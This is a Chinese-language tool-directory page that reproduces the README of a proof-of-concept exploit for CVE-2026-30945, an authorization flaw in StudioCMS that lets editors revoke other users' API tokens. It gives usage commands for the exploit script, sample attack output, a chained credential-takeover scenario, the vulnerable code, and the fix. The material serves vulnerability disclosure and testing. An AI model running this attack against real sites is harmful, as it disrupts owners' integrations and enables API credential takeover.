Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-30945-PoC — CVE-2026-30945 的概念验证漏洞利用程序,这是 StudioCMS 中的一个 IDOR(不安全的直接对象引用)漏洞,允许任意 API 令牌撤销和拒绝服务攻击。包含手动和自动化测试模式。 | Kitploit
工具/GitHubGitHub/filipegaudard/cve-2026-30945-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育API 安全
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

CVE-2026-30945 的概念验证漏洞利用程序,这是 StudioCMS 中的一个 IDOR(不安全的直接对象引用)漏洞,允许任意 API 令牌撤销和拒绝服务攻击。包含手动和自动化测试模式。

查看仓库
96个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🗑️ CVE-2026-30945

StudioCMS IDOR — 任意 API 令牌撤销导致拒绝服务

CVE CVSS CWE Type

NVD • 安全公告 • CWE-639


概述

StudioCMS ≤ 0.3.0 中的 DELETE /studiocms_api/dashboard/api-tokens 端点允许任何具有 editor 或更高级别权限的已认证用户撤销任何其他用户(包括 admin 和 owner 账户)的 API 令牌。

该处理程序直接从请求负载中接受 tokenID 和 userID,而不验证令牌所有权、调用者身份或角色层级。这使得针对关键集成和自动化系统的定向拒绝服务成为可能。

相关说明: 此漏洞与 CVE-2026-30944(令牌生成 IDOR)具有相同的根本原因。当两者串联利用时,攻击者可以撤销合法令牌并生成新令牌,实现 API 凭据的完全接管。

攻击流程

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   攻击者      │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   服务器      │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  所有者的     │
                                              │  CI/CD       │
                                              │  流水线       │──► ❌ 401 未授权
                                              │  集成        │──► ❌ API 访问丢失
                                              │  监控        │──► ❌ 静默失败
                                              └──────────────┘

漏洞详情


目录

文件描述
cve_2026_30945_poc.pyPython 利用脚本,支持手动和自动模式
README.md本文件
LICENSEMIT 许可证

前提条件

  • StudioCMS ≤ 0.3.0(存在漏洞的版本)
  • Python 3.8+
  • 至少一个 Editor 账户的有效凭据
  • 已知的令牌记录 UUID(内部 ID,而非 JWT)
root@kitploit:~
pip install requests colorama

快速开始

手动利用

root@kitploit:~
# 撤销属于所有者的特定令牌
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# 与 CVE-2026-30944 串联:先为目标创建令牌
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 将结果保存为 JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

自动化测试

root@kitploit:~
# 使用多个角色进行测试
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

参数

必需参数

参数描述
-u, --url目标 StudioCMS 基础 URL
--target-uuid目标用户 UUID,其令牌将被撤销

可选参数

参数描述
--token-id要撤销的内部令牌记录 UUID(非 JWT)。如果省略,脚本将尝试先通过 CVE-2026-30944 创建令牌

手动模式

参数描述
--username用于认证的用户名
--password用于认证的密码

自动化测试模式

标志

参数描述
--save将结果保存为 JSON 文件
--no-ssl-verify禁用 SSL 证书验证

示例输出

存在漏洞的系统

root@kitploit:~
  ──────────────────────────────────────────────────────────
  阶段 1:认证
  ──────────────────────────────────────────────────────────
  [+] 已以 'editor01' 身份认证
  [*] 会话用户:editor01 (editor)
  [*] 会话 UUID:39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  阶段 3:令牌撤销(IDOR)
  ──────────────────────────────────────────────────────────
  [*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 令牌 ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] 正在撤销目标的 API 令牌...
  [+] 令牌已撤销!服务器响应:Token deleted
  [!] 漏洞已确认 — 令牌成功撤销!
  [!] 目标用户的 API 集成现已中断(DoS)

已修复的系统

root@kitploit:~
  ──────────────────────────────────────────────────────────
  阶段 3:令牌撤销(IDOR)
  ──────────────────────────────────────────────────────────
  [*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 令牌 ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] 正在撤销目标的 API 令牌...
  [*] 访问被拒绝(403 禁止)— 端点可能已修复
  [-] 撤销失败:访问被拒绝(403 禁止)

攻击链(CVE-2026-30944 + CVE-2026-30945)

当与令牌生成 IDOR(CVE-2026-30944)结合使用时,攻击者可以完成 API 凭据的完全接管:

root@kitploit:~
步骤 1:撤销所有者的合法令牌    (CVE-2026-30945)
   └──► 所有者的 CI/CD 流水线静默中断

步骤 2:为所有者生成新令牌       (CVE-2026-30944)
   └──► 攻击者现在拥有所有者级别的 API 访问权限

步骤 3:所有者创建新令牌进行修复
   └──► 攻击者再次撤销(持续性 DoS)

这造成了一种场景:攻击者持续控制所有者的 API 访问权限,反复撤销所有者创建的任何新令牌,同时保持自己的非法访问权限。


根本原因

位于 packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(第 58–99 行)的漏洞处理程序从请求体中接受 tokenID 和 userID,并将其直接传递给删除函数,没有任何授权检查:

root@kitploit:~
// [1] 仅检查调用者是否为 editor — 不检查他们为谁删除令牌
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 两个值均来自请求体 — 未与会话进行验证
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // 无所有权检查
    userID: string;     // 无身份检查
}>(ctx);

// [3] 直接传递给破坏性操作 — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

该处理程序存在五个不同的缺陷:权限门槛不足、无令牌所有权验证、缺少调用者身份检查、无角色层级强制,以及将用户控制的值直接传递给破坏性操作。


影响

  • 拒绝服务 — 用于 CI/CD 流水线、第三方集成或监控系统的 API 令牌可被静默撤销
  • 选择性破坏 — Editor 可以精准撤销特定管理员或所有者的令牌
  • 无审计痕迹 — 撤销作为合法操作被处理,难以追溯归因
  • 串联后形成持续性 DoS — 与 CVE-2026-30944 结合,攻击者可反复撤销受害者创建的任何新令牌

缓解措施

将 StudioCMS 更新至 0.4.0 或更高版本:

root@kitploit:~
npm install studiocms@latest

法律免责声明

本工具仅用于教育和授权安全测试目的。

  • 仅可对您拥有或已获得明确书面许可的系统进行测试
  • 在大多数司法管辖区,未经授权访问计算机系统属于违法行为
  • 作者对工具的滥用不承担任何责任
  • 请始终遵循负责任披露实践

参考

  • CVE: CVE-2026-30945
  • 安全公告: GHSA-8rgj-vrfr-6hqr
  • 相关 CVE: CVE-2026-30944(令牌生成 IDOR)
  • CWE: CWE-639 — 通过用户控制的密钥绕过授权
  • OWASP: API1:2023 — 对象级授权失效
  • MITRE ATT&CK: T1531 — 账户访问移除

作者

Filipe Gaudard


许可证

本 PoC 根据 MIT 许可证 发布,仅供教育目的使用。请负责任且合乎道德地使用。

下载工具
字段值
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1(高危)— AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639:通过用户控制的密钥绕过授权
CWE(次要)CWE-863:不正确的授权
MITRE ATT&CKT1531 — 账户访问移除
OWASP APIAPI1:2023 — 对象级授权失效
受影响版本studiocms ≤ 0.3.0
修复版本studiocms 0.4.0
参数描述
--auto-test启用自动化多角色测试
--editor-userEditor 账户用户名
--editor-passEditor 账户密码
--visitor-userVisitor 账户用户名
--visitor-passVisitor 账户密码